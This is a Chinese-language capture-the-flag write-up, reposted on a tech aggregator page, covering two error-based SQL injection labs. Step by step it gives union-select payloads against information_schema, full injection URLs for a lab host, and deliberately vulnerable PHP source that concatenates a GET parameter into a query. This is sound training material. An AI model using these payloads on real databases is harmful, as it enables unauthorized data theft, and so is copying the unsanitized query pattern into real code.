IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> 大数据 -> 显错注入(一)&(二) -> 正文阅读

[大数据]显错注入(一)&(二)

显错注入(一)&(二)


首先查询是否有sql注入,

查询的语句分别为:

  • select *from user where id=1 and 2<5

  • select *from user where id=1 and 5<2
    如果存在SQL注入,第一条语句正常运行,第二条语句报错:

    第一条查询结果:

    第二条查询结果

    因此存在SQL注入!

找见相关的数据库

利用 order by 语句判断显示位---->猜字段

order by 用于判断显示位,order by 原有的作用是对列进行一个排序,在sql注入中用order by 来判断排序,order by 1就是对一个列进行排序,如果一共四个列,你order by 5 数据库不知道怎么排序,于是乎就错误了无返回值。

order by 1

order by 2

order by 3

order by 4


发现order by 4时无输出,因此有三个字段。

通过union select确认输出位

  • union为联合查询,a联合b进行了查询,为查询了前面的sql语句(原有的)后再进行后面的sql查询(我们添加的),但两张表联合查询的列(列)数必须相同。

  • 通过上面的查询得知,有3个字段,因此联立查询时查询语句和结果为:


得知输出位为第二列和第三列第一列不输出。

获取表名

利用数据库自带的库information_schema;

  • information_schema是mysql的系统自带表,用于查询数据,在mysql5.0以上版本中存在。
    查询语句和结果如下:

    得到第一个表名为:user


    得到第二个表名为:error_flag
    采用limit语句,limit 在注入中用于排序然后输出,limit a,b a代表了从哪个位置(从0开始) b代表从那位开始显示几条数据。

查询列对应的数据(行)

  • limit0,0
    select *from user where id=2 and 1=2 union select 1,2,column_name from information_schema.columns where table_schema=database() and table_name=‘error_flag’ limit 0,1
  • limit1,1
    select *from user where id=2 and 1=2 union select 1,2,column_name from information_schema.columns where table_schema=database() and table_name=‘error_flag’ limit 1,1

最后一步–获取flag内容

and 1=2 union select 1,flag,3 from error_flag
flag为zKaq-Nf

最后到平台提交flag即可。

显错注入(二)


查看源码:

$username = '';
$password = '';
@$id = $_GET['id'];
@$sql = 'select *from user where id='\''.$id.'\'';
mysqli_select_db($conn,'****');// 不想让你们知道库名
$result = mysqli_query($conn,$sql);
while ($row = mysqli_fetch_array($result)){  
$username = $row['username'];
$password = $row['password'];
}
echo 'Your Login name:'.$username;
echo 'Your Password:'.$password;
  • 发现有一处正则表达式(‘select *from user where id=’‘’.$id.‘’';)有单引号过滤。
    因此注入时要注意使其单引号闭合,套路与之前的显错注入一样:

确认有注入漏洞

  • select *from user where id='1 ’ and 1=1 --qwe’时正常运行;
  • select *from user where id='1 ’ and 1=2–qwe’时报错;

确定字段数

  • select *from user where id='1 ’ and 1=1 order by 1 – '正常运行;
  • select *from user where id='1 ’ and 1=1 order by 2 – '正常运行;
  • select *from user where id='1 ’ and 1=1 order by 3 – '正常运行;
  • select *from user where id='1 ’ and 1=1 order by 4 – '报错;
    因此有三个字段。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-8LNwMkdm-1660654697325)(https://nc0.cdn.zkaq.cn/md/13053/c173b3d2fb827b988ab172407744204c_92692.png)]

判断回显点

select *from user where id='1 ’ and 1 = 2 union select 1,2,3 – ’

发现回显点有2,3两位:

查库名

?id=1’ and 1=2 union select 1,2,table_name from information_schema.tables where table_schema=database() limit 0,1 --qwe

?id=1’ and 1=2 union select 1,2,table_name from information_schema.tables where table_schema=database() limit 1,1 --qwe

查字段名

  • select *from user where id='1 ’ and 1 = 2 union select 1,2,column_name from information_schema.columns where table_name=‘error_flag’ limit 1,1 – ’

查数据

  • 逐一输出: http://inject2b.lab.aqlab.cn/Pass-02/index.php?id=1%20%27%20and%201=2%20union%20select%201,2,flag%20from%20error_flag%20limit%200,1–+

  • 全部输出:http://inject2b.lab.aqlab.cn/Pass-02/index.php?id=1%20%27%20and%201=2%20union%20select%201,2,group_concat(flag)%20from%20error_flag%20–+

最后逐一尝试即可得到flag为:zKaQ-BJY

  大数据 最新文章
实现Kafka至少消费一次
亚马逊云科技:还在苦于ETL?Zero ETL的时代
初探MapReduce
【SpringBoot框架篇】32.基于注解+redis实现
Elasticsearch:如何减少 Elasticsearch 集
Go redis操作
Redis面试题
专题五 Redis高并发场景
基于GBase8s和Calcite的多数据源查询
Redis——底层数据结构原理
上一篇文章      下一篇文章      查看所有文章
加:2022-08-19 19:12:48  更:2022-08-19 19:13:49 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年5日历 -2024/5/19 20:03:42-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码